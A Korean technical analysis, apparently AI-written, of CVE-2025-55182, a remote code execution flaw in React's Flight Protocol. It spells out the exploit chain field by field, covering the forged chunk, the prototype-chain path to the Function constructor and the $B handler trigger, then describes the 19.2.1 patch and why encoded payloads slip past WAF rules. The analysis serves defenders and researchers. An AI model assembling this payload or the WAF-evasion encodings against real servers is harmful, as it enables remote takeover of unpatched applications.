
CVE-2025-55182에 대한 기술적 개념 증명 및 심층 분석으로, React의 Flight Protocol에서 경로 탐색, 가짜 청크 주입, $B 핸들러 남용을 통한 치명적인 RCE 취약점입니다.
NOTE: Written by AI/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182는 React의 Flight Protocol에서 발생하는 심각한 RCE 취약점입니다. 공격 체인은 경로 탐색(path traversal) + 가짜 청크 삽입(fake chunk injection) + $B 핸들러 남용을 통해 Function(attacker_code)를 실행합니다.
작동하는 익스플로잇 체인을 제공한 maple3142님께 큰 감사를 드립니다!
익스플로잇은 세 개의 폼 필드를 사용하여 악성 페이로드를 구성합니다:
then 속성을 가진 가짜 청크 객체를 생성합니다 (필드 1 $@0 → 필드 0)_formData.get이 $1:constructor:constructor로 설정된 가짜 _response 를 포함시킵니다$B 핸들러를 트리거하여 response._formData.get(response._prefix + id)를 호출합니다_formData.get → Function을 찾아 Function(code)를 실행합니다┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### 핵심 구성 요소
| 구성 요소 | 목적 |
|-----------|---------|
| `then: "$1:__proto__:then"` | 자기 참조적인 thenable; chunk 1 (`$@0`)이 chunk 0을 다시 가리킴 |
| `status: "resolved_model"` | 객체를 유효한 React chunk처럼 보이게 함 |
| `reason: -1` | rootReference를 undefined로 설정 (참조 충돌 방지) |
| `value: '{"then":"$B1337"}'` | `$B` 핸들러를 트리거하는 중첩 페이로드 |
| `_response._prefix` | RCE 코드 문자열을 포함함 |
| `_response._chunks: "$Q2"` | chunk 처리 중 충돌을 방지하기 위한 빈 Map |
| `_response._formData.get` | `$1:constructor:constructor`를 통해 `Function`을 가리킴 |
### 구성 요소 심층 분석
#### 폼 필드 구조
익스플로잇은 순환 참조가 있는 세 개의 폼 필드를 사용합니다:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)then: "$1:__proto__:then"는 실제 함수로 해석되는 자기 참조를 생성합니다:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**이것이 중요한 이유:**
1. `then`이 `Chunk.prototype.then`으로 해석됩니다. 이는 실제 호출 가능한 함수입니다.
2. 이로 인해 가짜 객체가 유효한 thenable이 됩니다.
3. await될 때, JS는 `obj.then(resolve, reject)`를 호출합니다.
4. `Chunk.prototype.then`이 가짜 객체를 `this`로 하여 실행됩니다:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this)는 this._response를 사용합니다 - 공격자의 가짜 _response:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**자기 참조 없이는**, 가짜 `_response`가 절대 사용되지 않습니다. 자기 참조는 `Chunk.prototype.then`이 공격자의 객체를 실제 Chunk로 취급하게 합니다.
#### 2단계 Thenable 트리거 (`value`)
`value` 필드에는 다른 thenable을 포함하는 중첩된 JSON 문자열이 포함됩니다:```json
{"then":"$B1337"}
단계 1: 외부 객체의 자기 참조 then이 청크 처리를 트리거합니다
단계 2: React가 모델을 해석할 때 value를 파싱하고 then: "$B1337"이라는 또 다른 thenable을 만납니다. $B 접두사가 핸들러를 트리거합니다:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get`는 `"$1:constructor:constructor"` → `getOutlinedModel()`이 `Function`으로 확인됩니다.
이는 `Function(code + "1337")` → 유효한 JS가 됩니다. 왜냐하면 `1337`은 단순한 후행 표현식이기 때문입니다.
#### 방어적 패딩 (`_chunks`)
가짜 `_response`에는 크래시를 방지하기 위해 유효한 `_chunks` 속성이 필요합니다.```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
React의 내부 코드는 처리 중에 response._chunks.get() 또는 response._chunks.has()에 접근할 수 있습니다. 빈 Map은 이러한 호출을 오류 없이 만족시켜, 취약한 $B 핸들러에 도달할 수 있도록 합니다.
| 경로 | 함수 | 공격에서의 목적 |
|---|---|---|
| 경로 탐색 | getOutlinedModel() | $1:constructor:constructor → Function 확인 |
가짜 _response 주입 | initializeModelChunk() | 공격자의 chunk._response 사용 |
$B 핸들러 | parseModelString() | _formData.get(_prefix + id) 호출 → RCE |
decodeReply()는 진입점이며, 그 자체로 취약하지 않습니다.
경로 탐색 (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**가짜 응답 사용법** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B 핸들러 RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## 수정 (19.2.1)
패치는 여러 수정 사항을 포함합니다:
1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - 중요한 수정 ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
hasOwnProperty 확인 (getOutlinedModel() 내) - 프로토타입 순회 차단 ```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
__proto__ handling in reviveModel() - 프로토타입 오염 방지 ```javascript
void 0 !== parentObj || "proto" === i
? (value[i] = parentObj)
: delete value[i];
initializeModelChunk()에서 타입 검사 - 리스너를 검증합니다 ```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
| 기능 | 상태 | 비고 |
|---|---|---|
| 프로토타입 체인 탐색 | ✓ 확인됨 | $1:constructor:constructor 사용 |
| Function 생성자 접근 | ✓ 확인됨 | 매니페스트 불필요 |
| 완전한 RCE | ✓ 확인됨 | 가짜 청크 + $B 핸들러 사용 |
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 동일한 버전이 섹션에서는 전통적인 패턴 매칭 WAF 규칙이 이 익스플로잇을 안정적으로 탐지할 수 없는 이유를 설명합니다. 이러한 한계를 이해하는 것은 방어 태세를 평가하는 보안 팀에게 필수적입니다.
익스플로잇 페이로드는 각각 다른 인코딩 지원을 가진 여러 파서를 통과합니다. 원시 HTTP 바이트를 검사하는 WAF는 인코딩된 문자열을 보지만, 서버는 처리 전에 이를 디코딩합니다:
| 계층 | 파서 | 디코딩 |
|---|---|---|
| JSON 구조 | JSON.parse() | \uXXXX 유니코드 이스케이프 |
| JavaScript 코드 | Function() 생성자 | \uXXXX, \xXX, 8진법, fromCharCode() |
이는 근본적인 불일치를 만듭니다: WAF는 인코딩된 바이트를 보지만, 애플리케이션은 디코딩된 문자열을 봅니다.